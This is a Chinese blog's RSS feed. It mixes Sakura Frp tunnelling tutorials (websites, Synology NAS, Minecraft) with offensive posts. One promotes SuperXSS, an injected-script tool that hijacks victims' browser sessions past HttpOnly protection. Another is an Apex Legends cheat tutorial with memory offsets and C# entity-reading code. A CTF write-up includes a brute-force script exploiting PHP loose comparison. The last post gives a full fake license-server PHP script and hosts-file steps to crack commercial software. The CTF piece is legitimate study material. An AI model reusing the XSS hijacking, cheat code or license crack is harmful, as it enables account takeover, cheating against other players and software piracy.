苍灵冥梦 https://moe.me/ zh-CN 一条咸鱼的碎语 Wed, 29 Jan 2020 12:09:00 +0800 Wed, 29 Jan 2020 12:09:00 +0800 Sakura Frp 建站教程 https://moe.me/archives/sakurafrp_site.html https://moe.me/archives/sakurafrp_site.html Wed, 29 Jan 2020 12:09:00 +0800 sanae 本教程仅涉及如何映射本机已有的web服务到公网并使用域名直接访问,不涉及包括如何在本地搭建web服务,如何获得一个域名,如何设置dns解析等方面,如有任何疑问请加群747976298并at群主。

注意:如使用国内节点映射您只能选择TCP映射并映射HTTPS协议,除非您的域名已经经过ICP备案否则不论使用HTTP还是HTTPS隧道将无法打开,此为机房所限制。

1.确认本地Web服务已经开启

本地访问您的web服务检查能否打开,如访问127.0.0.1,如果在这一步就无法打开则说明你的web服务没有成功启动或者监听设置上有问题。
1

2.创建隧道

确认能够打开后,前往创建隧道,注意节点的选择上请选择标有“可建站”字样的节点,因为国内节点的HTTP流量会被备案系统审查,使用没有备案的域名会被拦截。
2
选择一个可使用的节点后,创建一个隧道,请特别注意红框圈出来的内容:
隧道类型:务必选择HTTP或者HTTPS隧道(根据你的具体需求),如果使用TCP隧道虽然也可以建站但是用户将需要带端口访问你的网站,但是如果使用TCP隧道的话则无需绑定域名,这里以HTTP隧道绑定域名作为演示:
3
注意绑定域名一项中绑定的域名必须与你实际访问所使用的的完全一致,请千万确认没有打错字。

3.修改解析

添加完隧道后返回自己的隧道列表,查看隧道详细信息,如图:
4
5
服务器括号内的内容即为服务器的地址,接下来修改你所绑定的域名CNAME指向到这个地址:
6

4.启动客户端

启动客户端的方法在之前几个教程中已经被复读十万遍甚至九万遍了,在此不再赘述,如果不会的话请参考本分类下其他几篇教程,在这一步都是相同的。
7
出现“start proxy success”字样(老版本/原版)或者“隧道启动成功”(新版)则说明隧道启动成功,访问绑定的域名:
8
成功映射。

5.被提问了十万遍甚至九万遍的常见问题

9
访问网站之后出现如图显示,请检查:

  • 你绑定的域名和你访问的域名是否完全相同,是否有打错字的情况。注意是完全相同,绑定根域名然后访问子域名这种操作是不行的。
  • 你域名解析指向的节点是否和你隧道创建到的节点相同。
  • 你本地的web服务是否成功启动,即本教程中第一步你是否能在本地访问你的网站。
  • 你的隧道映射的本地IP和端口号是否正确,你是否能够通过隧道设置的那个本地地址和端口访问你的web服务。
  • 你的客户端是否成功启动并出现“start proxy success”(老版本/原版)或者“隧道启动成功”(新版)字样

如果你肯定以上任何一步都是正常的但仍然出现这个页面,请加教程最上边提到的群号并联系群主。

]]>
49 https://moe.me/archives/sakurafrp_site.html#comments https://moe.me/feed/archives/sakurafrp_site.html
Sakura Frp 映射群辉教程 https://moe.me/archives/sakurafrp_synology.html https://moe.me/archives/sakurafrp_synology.html Wed, 29 Jan 2020 11:39:00 +0800 sanae 本教程仅涉及映射群辉至公网,不包含如何开机启动客户端的内容,因为修改开机启动项需要会使用vi编辑器,如有任何疑问请加群747976298并at群主。

注意:如使用国内节点映射您只能映射HTTPS的端口,而并非像本教程里映射HTTP的端口,请注意在对应的步骤修改。

1.开启群辉的SSH访问功能

SSH
如图位置,开启此功能并填写一个端口号,本例中采用的是22222端口号。

2.SSH连接群辉

您可以使用如Putty等任意一个SSH客户端来连接您的服务器,本例中使用Linux系统自带的OpenSSH连接,如您使用Putty等连接请自行百度使用方法,如果不会请加群联系。登录使用的用户名和密码与登录群辉控制面板的相同。
SSH连接上之后执行如下命令

sudo su

sudo
该命令会要求你输入你的密码,输入即可。如果没有提示错误并且光标前的图标从“$”变化为“#”则说明这一步成功。

3.创建隧道

首先确认你的群辉的远程访问端口,可以在这里看到
远程
接下来创建一个隧道,映射到这两个端口,如果你希望使用HTTP访问则映射对应的HTTP端口,如果使用HTTPS访问则映射HTTPS的端口。接下来的例子中由于我选择的是美国节点,可以转发HTTP流量,所以我映射HTTP对应的5000端口,如果你选择中国大陆的节点请选择映射HTTPS的对应端口。
注意:国内节点不能转发HTTP流量,所以如果你希望映射HTTP端口需要使用非大陆节点如香港等,速度可能较慢,如果希望较为快速的效果则请映射HTTPS的端口并使用HTTPS访问
映射创建
如图创建映射

4.设置映射

映射创建完之后,选择对应的客户端下载,群辉对应的客户端为linux amd64,即如下:
客户端
返回到第二步打开的SSH客户端中,执行如下命令:

wget https://qianqu.me/frp/frpc_linux_amd64
chmod +x frpc_linux_amd64

效果应该如图:
下载
如果没有提示任何错误的话,接下来执行如下命令来运行一次客户端:

./frpc_linux_amd64

如图
客户端
接下的只需要按照提示提供访问密钥即可,如果不知道访问密钥在哪的话,请参考
找到自己的访问密钥
并选择对应的节点,注意请选择与你创建的隧道相同的节点,如图:
选择节点
选择完节点后,如果出现“start proxy success”字样,则说明映射成功,如图:

注意!命令行下Ctrl+C不是复制!不是复制!是退出程序!所以请不要习惯性使用Ctrl+C复制地址,会造成客户端直接退出!

成功
此时访问上面给出的地址,应当能够打开群辉的管理页面:
映射
此时说明映射已经测试成功,按Ctrl+C组合键来退出程序。
然后执行如下命令来让客户端后台保持运行:

nohup ./frpc_linux_amd64 &

如图:
nohup
到这一步即可关闭SSH客户端,并继续使用之前给出的地址来访问你的群辉NAS。

]]>
49 https://moe.me/archives/sakurafrp_synology.html#comments https://moe.me/feed/archives/sakurafrp_synology.html
Sakura Frp 客户端使用教程 (Minecraft 服务端映射示例) https://moe.me/archives/sakurafrp_launcher_helper.html https://moe.me/archives/sakurafrp_launcher_helper.html Thu, 23 Jan 2020 00:12:00 +0800 sanae 写在最前:所有国内服务器都屏蔽HTTP协议,如果您使用国内服务器转发本地HTTP协议的内容,直接访问将无法打开并提示连接重置,请改用HTTPS协议或者使用海外服务器,所有允许转发HTTP流量的服务器均标有“可建站”字样。

1.获取Sakura Frp 简单启动器

您可以在软件下载页面找到简单版本启动器,请下载后解压后再运行。

2.登录软件

软件启动之后界面如下:
界面
首先需要在访问密钥处输入您的访问密钥,如果您不知道您的访问密钥,请参考这篇文章:找到访问密钥
输入您的访问密钥后点击登录,如果您的密钥正确,则应有如下显示:
注意:如果您的账户内已有隧道,这步显示会有所区别,但不影响本教程。
登录后

3.新建隧道

这里以新建一个Minecraft服务端的隧道做示例,其他应用请仅参考此教程并根据实际情况选择。
首先启动Minecraft服务端:
开启服务端
然后自己连接自己的服务端来检查是否开启成功,如果你在这一步就无法连接,请检查你的服务端设置之后再继续,否则之后的配置将没有意义。
请输入图片描述
测试通过后请先关闭Minecraft的客户端,然后继续教程。
选择启动器的“快速新建隧道”一项:
对于Minecraft,其进程名一般为“java”,所以需要在左侧列表内找到进程名为Java的项目,如果有多个项目,请检查您是否运行了多个服务端或者有其他Java程序正在监听端口。
如果需要映射其他程序,请同样寻找您希望映射的程序的文件名。
如果找不到“java”一项,请检查您的Minecraft服务端是否正常启动。并且确认您的Minecraft服务端是基于Java的版本。并尝试点击“刷新列表”。
进程
找到“java”一项后,点击选择这一项,然后在右侧选择/输入以下信息:

特别注意:Minecraft 基岩版(PE版)是UDP协议且映射到的公网端口必须和你开服的端口号相同,您需要手动输入一个远程端口号,并使得此端口号与你服务端的端口号相同,如果提示端口已被占用则请同时更换你的本地服务端端口号和映射的远程端口号

  • 选择节点:选择一个跟你的宽带运营商相同的且地理位置较近的服务器,移动用户建议选择标有“双线”/“多线”字样的节点(注意中国大陆节点屏蔽HTTP流量转发)
  • 远程端口号:别人将需要通过这个端口号来连接你的服务,请输入一个介于10240到65535的整数,如果不填则系统将自动为您选择一个。
  • 隧道名称:一个仅供你自己区分的隧道名,请输入一个介于3到15位的英文或数字,如果不填则系统将为您自动生成一个。

填写完成后效果如下:
效果
此时点击“添加隧道”按钮,一切正常的话则会弹出如下提示:
提示
点击确定后可以在文本框内看到如下显示:
嗯
在这一步,你已经成功创建了一个隧道,在上述示例中,该隧道的连接地址则为:“cn-js-zj-2.website.do:62410”或者等效IP地址“222.186.174.121:62410”,这个也就是Minecraft联机中需要发给对方的你的服务器地址。

注意到这一步只是单纯的创建了隧道,还需要返回上一个选项卡启动映射。

4.启动映射

首先返回到“启动现有隧道”选项卡中,如果上一步您成功创建了映射,则在这里应该会看到新创建的映射:
映射列表
点击选择这条映射,然后点击下面的“启动隧道”按钮,如果一切顺利,启动器会弹出如下提示并启动客户端:
提示
这是提示内容
客户端
这是启动的客户端。
在以上示例中,可以客户端中看到出现了“start proxy success”字样,说明客户端已经成功启动且映射已经建立。
如果没有出现这行字样或者长时间卡在某一个特定步骤,则请关闭弹出的客户端窗口并重新尝试点击“启动隧道”。
客户端启动成功并且映射建立之后,您就可以把第3步中创建隧道时提供的连接地址发送给您的朋友让他们连接您的服务,如下:
1
2

5.下次启动

当您已经成功创建隧道并且成功完成一次映射且确认能够连接之后,下次使用直接启动Minecraft服务端后跳过步骤3即可。

6.常见问题

1.无法连接且客户端提示

No connection could be made because the target machine actively refused it

出现该提示说明客户端使用你创建的隧道的本地IP与本地端口无法建立连接,请检查你映射隧道填写的本地IP与本地端口号是否与你要映射的服务端程序相同(例如Minecraft的默认端口号为25565)

2.突然掉线/无法连接并且客户端提示

work connection closed, EOF

或者

工作连接关闭, EOF

具体提示内容取决于你使用的frp版本,出现该提示原因是你到服务器之间连接质量较差,由于丢包导致连接断开,如果频繁出现此错误请更换节点,常见可能导致此错误的原因包括移动用户选择电信或者联通节点(包括镇江电信,镇江双线,镇江联通等),移动用户请选择离自己近的移动或者多线节点(如宿迁移动或者枣庄/徐州多线)。如果你是东部沿海省份的电信/联通用户却遇到此错误,请加群747976298并联系群主。

]]>
153 https://moe.me/archives/sakurafrp_launcher_helper.html#comments https://moe.me/feed/archives/sakurafrp_launcher_helper.html
Sakura Frp 找到自己的访问密钥 https://moe.me/archives/sakurafrp_findtoken.html https://moe.me/archives/sakurafrp_findtoken.html Wed, 22 Jan 2020 23:27:00 +0800 sanae 您可以在用户信息页面查看到您的密钥

如果密钥为空,则请点击右侧的重置访问密钥按钮,重置完成后将会出现密钥。

密钥

]]>
9 https://moe.me/archives/sakurafrp_findtoken.html#comments https://moe.me/feed/archives/sakurafrp_findtoken.html
SuperXSS https://moe.me/archives/16-1.html https://moe.me/archives/16-1.html Mon, 08 Apr 2019 07:41:00 +0800 sanae 其实是大半年前与Winz(Archeb)一同开发的,咕了这么久才想起来放出来
  • 当X别人站的时候,遇到Httponly flag时,被x到的站位于内网无法直接访问时,你要做的是:
  • 换下一个站 X
  • 用SuperXSS √

SuperXSS是一个基于Websocket的客户端网页代理程序,客户端JS被注入之后会创建到指定服务端的Websocket连接并接收命令进行XHR请求,从而使得无法直接访问的后台等可以通过客户端浏览器本身作为代理访问。
程序本身分为两部分,前端JS部分感谢@Archeb,后端本人使用Workerman瞎写的代码。
程序本身并不稳定,不过至少能够操作一下后台。

使用

更改服务端Config.php中REPLACE_ADDR为中转服务端的HTTP(S)访问地址,HIJACK_CONSOLE_LISTEN和WS_LISTEN分别改为劫持控制台的监听地址和Websocket的监听地址,如需要WSS可以配合Nginx做反代使用。
更改xss.js中最后一行的地址为中转服务端Websocket的监听地址
将xss.js插入到页面中
访问劫持控制台,此时应该能看到劫持会话选项。
劫持会话之后,你应该能直接操作或者直接更改URL来访问其他同域名地址,或者带着Cookie直接扔进sqlmap等工具。

DEMO

插入到目标页面之中
受害者.jpg
访问劫持控制台
说了我不会前端.jpg
劫持会话,完 全 一 致
大 胜 利
同时可以访问同域下的其他内容
24岁,是学生

Download

On GitHub

]]>
2 https://moe.me/archives/16-1.html#comments https://moe.me/feed/archives/16-1.html
从零开始编写自己的Apex辅(wai)助(gua) https://moe.me/archives/15.html https://moe.me/archives/15.html Sat, 06 Apr 2019 17:06:00 +0800 sanae 从零开始编写自己的Apex辅(wai)助(gua)

注意:本文仅供研究学习使用


本文将简述以下部分来叫你编写一个简单的Apex辅助:

  • 开始,准备工作
  • 编写
  • 测试

本文将使用C#作为编程语言,编写一个External类型辅助(Internal与External的区别将不再赘述)。

为什么使用CSharp?

  • 相比C/C++,无需手动管理内存,节省大量掉坑时间。
  • 巨硬自家,提供完整的WinAPI支持和DLL引用,方便操作。
  • VS宇宙第一IDE

提前准备

  • 把游戏下好,VS装好(
  • Apex使用了EAC反作弊系统,所以你需要准备任意一种可行方法来bypass
  • 本文中出现的内存偏移地址均为19年4月3日更新版本对应

开始

1.获取游戏内存基址

这个没有什么可说的,当你绕过EAC能够操作游戏进程的时候你应该有办法获得他。

2.获取EntityList内存地址

IntPtr EntityListOffset = 0x1F9AE68;
IntPtr EntityList = BaseAddress + EntityListOffset ;

3.获取具体Entity的内存地址(<<为逻辑左移操作符)

public static IntPtr GetEntityByID(int ID)
{
    return Memory.Read<IntPtr>(EntityList + (ID << 5));
}

4. 获得Entity对应类型(即判断是玩家还是NPC还是道具等)

String Name = Memory.ReadString(Memory.Read<IntPtr>(entity + 0x500));

name的可能性包括player,prop_survival,prop_script,分别对应玩家,道具,NPC

5. 遍历Entity获得所有玩家的内存地址(所有玩家均在前100个Entity中)

for (int i = 0; i < 100; i++)
{
    IntPtr entityPtr = GetEntityByID(i);
    if (entityPtr != IntPtr.Zero)
    {
        Entity entity = new Entity(entityPtr, i);
        if (entity.IsPlayer){ 
            Your code goes here 
        }
    }
}

6. Glow ESP!

咕一会咕一会

]]>
2 https://moe.me/archives/15.html#comments https://moe.me/feed/archives/15.html
CTF Writeup #1 https://moe.me/archives/19.html https://moe.me/archives/19.html Tue, 20 Jun 2017 21:26:17 +0800 sanae 年常诈尸,这次水一波刚凑热闹的CTF里遇到的题

话不多说,题目说明如下

babylogin
很正常的登录逻辑,只是...
题目地址:http://114.55.36.69:20780/

界面呢就是这个样子,很常见的界面样式

123123.png

既然提供了源码,当然是先看看源码了,源码如下

<?php
include "config.php";

header("Content-Type:text/html;charset=utf8");
session_start();
if (!empty($_SESSION)&&$_SESSION["login"]==1) {
        header("Location: admin.php"); 
        exit();
    }

foreach (array('_GET','_POST','_COOKIE') as $key) {
    foreach ($$key as $key2 => $value) {
        $_GPC[$key2]=$value;
    }
}
//var_dump($_GPC);exit();
if ($_SERVER["REQUEST_METHOD"]=="GET"){
    echo include "outputtpl.php";
}else if($_SERVER["REQUEST_METHOD"]=="POST"){
    
    $userin=addslashes($_POST["name"]);
    $passin=addslashes($_POST["password"]);
    $session = json_decode(base64_decode($_GPC['__session']), true);
    if (is_array($session)){
        $user = find_user_by_uid($session['uid']);
        if(is_array($user) && $session['hash'] == $user['password']){
            $_SESSION["login"]=1;
            $_SESSION["userin"]=$userin;
            header("Location: admin.php");
            exit();
        }else{
            echo "用户名或密码错误";
        }
    }else{
        $sql = "select password from admin where username='$userin'";
        $row = mysql_fetch_array(mysql_query($sql));
        if($row){
            if($row[$passin]==md5($passin)){
                $_SESSION["login"]=1;
                $_SESSION["userin"]=$userin;
                header("Location: admin.php");
                exit();
            }else{
                echo "用户名或密码错误";
            }
        }else{
            echo "用户名或密码错误";
        }    
    }
}else {
    echo "GET or POST plz!";
}

看起来很正常的登陆逻辑,对传入的用户名和密码也都进行了addslashes,不过下面却有一个奇怪的session,还是json编码

$session = json_decode(base64_decode($_GPC['__session']), true);

其实有经验/看过相关文章的人应该在这已经意识到了问题,我们接着往下说。

传入的session在经过b64解码和json解码之后给了$session变量,接下来进行uid查库之后比对了密码,如果密码相同则直接登陆成功,确实如题目所说,看起来很正常的逻辑。

if($row[$passin]==md5($passin)){
                $_SESSION["login"]=1;
                $_SESSION["userin"]=$userin;
                header("Location: admin.php");
                exit();
            }else{
                echo "用户名或密码错误";
            }

但是且慢,

if($row[$passin]==md5($passin)){

在这个比对里,使用的是两个等于号,这个比对会忽略两个变量的变量类型,由于php是世界上最好的语言,所以它会允许你比对整型和字符串,但是会造成一个问题,看图。


QQ截图20170620212112.png

也就是说,执行整型和字符串比对的时候,php只会比对字符串前的数字,而忽略后面的一堆字符串,这里有个前提,就是必须是整型和字符串比较,并且使用两个等于号,使用三个等于号将会校验变量类型。

然而,php使用$_GET等变量获取参数时,不论输入类型,都是以字符串形式保存,故一般不会被两个等于坑。

然而在这里,由于json_decode的存在,我们可以通过json来传入整数,从而导致绕过这个if

编写一个简单的脚本

# -*- coding:utf-8 -*-

import requests, json

for uid in range(1,100):
    for i in range(0,999):
        r = requests.post('http://114.55.36.69:20780/', data={'__session': json.dumps({'uid':str(uid),'hash':i}).encode("base64")})
        if len(r.text) != 8:
            print 'Seems like we get the data',json.dumps({'uid':str(uid),'hash':i}).encode("base64"),r.text
            exit()
        else:
            print uid,i,'fail, continue...'

跑起来,等一小会,效果如下

QQ图片20170620212527.jpg

成功收获本题flag

]]>
3 https://moe.me/archives/19.html#comments https://moe.me/feed/archives/19.html
Skylake---基于Python的简单的WebServer https://moe.me/archives/17.html https://moe.me/archives/17.html Sun, 29 Jan 2017 14:40:02 +0800 sanae 最近研究HTTP协议的一个大坑

SkylakeWebServer是一个Python编写的WebServer,在目前这个版本(V0.1 Alpha1)中仅做支持基本的静态文件服务器,CGI和对接Python APP功能将会在下面的几个Alpha版本中逐渐添加。

2017-02-02 Update: CGI功能已添加并已通过测试。


源码目前没有任何注释,也可(ken)能(ding)存在各种不稳定/奇怪的bug,仅供研究使用(虽然估计没有比我更蠢的socket写法)。由于研究这个源码导致对Socket或HTTP的误解本人不负任何责任。

特性:

  1. Unix下非阻塞,子进程结束自动回收不会产生僵尸进程。

  2. 支持Last-Modified,Range等header,可以实现断点续传,多线程下载等。

  3. 支持目录列表,具有../等跨目录尝试的防御功能。

已知问题:

  1. 由于辣鸡M$用的Windows-1251编码,Windows下列目录会有中文乱码问题。

  2. 请求大文件会炸内存,由于尝试一次性读取整个文件导致。


在线演示: http://skylake.eof.moe/

GitHub地址: https://github.com/kochiyasanae1/skylake

Coding地址: https://coding.net/u/patchouli/p/Skylake/git


]]>
0 https://moe.me/archives/17.html#comments https://moe.me/feed/archives/17.html
Python中创建代码对象(CodeObj) https://moe.me/archives/16.html https://moe.me/archives/16.html Tue, 11 Oct 2016 22:27:38 +0800 sanae 好久没更了啊~

由于某些奇怪的需要嘛,需要生成一个code对象,找了半天发现还是得用google大法才能找到

code = types.CodeType(
    co.co_argcount,
    co.co_nlocals,
    co.co_stacksize,
    co.co_flags,
    co.co_code,
    co.co_consts,
    co.co_names,
    co.co_varnames,
    co.co_filename,
    co.co_name,
    co.co_firstlineno,
    co.co_lnotab
)
#types.CodeType(argcount, nlocals, stacksize, flags, codestring, constants, names,varnames, filename, name, firstlineno, lnotab[, freevars[, cellvars]])


]]>
0 https://moe.me/archives/16.html#comments https://moe.me/feed/archives/16.html
Flash TCP的破解 https://moe.me/archives/11.html https://moe.me/archives/11.html Wed, 24 Feb 2016 22:07:30 +0800 sanae 没有什么太大技术含量的东西,直接发出来吧,测试效果不是很大,但是聊胜于无(反正不要钱)。


反编译文件可以得到请求的验证服务器地址,由于wget时带上了-no-check-certificate(网络验证不验证服务端身份,跟没有有什么区别),所以可以直接改host指向伪造的服务器,通过查看请求包和返回包,分析写出以下代码作为服务端。

<?php
error_reporting(0);
@$act = $_POST['slm_action'];
@$key = $_POST['license_key'];


$date = date("Y-m-d");
if(isset($act) && trim($act) != ''){
	if($act == 'slm_check'){
		if(ctype_alnum($key)){
			if($code = file_get_contents($key.'.txt')){
				$codes = explode(',',$code);
				if(count($codes) >= 5){
					header("Content-Type: Application/json");
					echo '{"result":"error","message":"Invalid license key"}';
					die;
				}
				$registered_domains = array();
				foreach($codes as $scode){
					if(trim($scode) != ''){
						$registered_domains[] = array(
							'id'=>mt_rand(1,3000),
							'lic_key_id'=>mt_rand(1,3000),
							'lic_key'=>$key,
							'registered_domain'=>$scode,
							'item_reference'=>''
						);
					}
				}
				$return = array(
					'result'=>'success',
					'message'=>'License key details retrieved.',
					'status'=>'active',
					'max_allowed_domains'=>'4',
					'email'=>'noemail@mail.com',
					'registered_domains'=>$registered_domains,
					'bandwidth'=>'65500M',
					'duration'=>'Immaterial and Missing Power',
					'server_date'=>$date,
					'activate_date'=>'2016-02-20',
					'expire_date'=>'2038-01-18'
				);
				header("Content-Type: Application/json");
				echo json_encode($return);
				die;
			}else{
				$return = array(
					'result'=>'success',
					'message'=>'License key details retrieved.',
					'status'=>'active',
					'max_allowed_domains'=>'4',
					'email'=>'noemail@mail.com',
					'registered_domains'=>array(),
					'bandwidth'=>'65500M',
					'duration'=>'Immaterial and Missing Power',
					'server_date'=>$date,
					'activate_date'=>'2016-02-20',
					'expire_date'=>'2038-01-18'
				);
				header("Content-Type: Application/json");
				echo json_encode($return);
				die;
			}
		}else{
			header("Content-Type: Application/json");
			echo '{"result":"error","message":"Invalid license key"}';
			die;
		}
	}elseif($act == 'slm_activate'){
		@$code = $_POST['registered_domain'];
		if(ctype_alnum($key)){
			if(trim($code) != ''){
				if($data = file_get_contents($key.'.txt')){
					if(count(explode(',',$data)) >= 5){
						header("Content-Type: Application/json");
						echo '{"result":"error","message":"Invalid license key"}';
						die;
					}
				}
				file_put_contents($key.'.txt',$code.',',FILE_APPEND);
				header("Content-Type: Application/json");
				echo '{"result":"success","message":"License key activated"}';
				die;
			}else{
				header("Content-Type: Application/json");
				echo '{"result":"error","message":"Verification API secret key is invalid"}';
				die;
			}
		}else{
			header("Content-Type: Application/json");
			echo '{"result":"error","message":"Invalid license key"}';
			die;
		}
	}
}

程序完全模仿服务端,会把程序提交的机器码写入文件储存,查询时会返回,由于发现1个序列号只能对应4台机器,所以前面做了判断。

(虽然后来发现其实根本不用这么麻烦,直接输出第一次查询的结果,不用记录机器码)

大概就是这样了,将该文件存为index.php,创建一个网站并开启https(自签名证书即可),然后绑定license.cloudtalkers.com域名,要安装的机器改host到自己的伪造服务器上之后按照官方的安装程序,序列号随便任何字母数字组合即可。


]]>
0 https://moe.me/archives/11.html#comments https://moe.me/feed/archives/11.html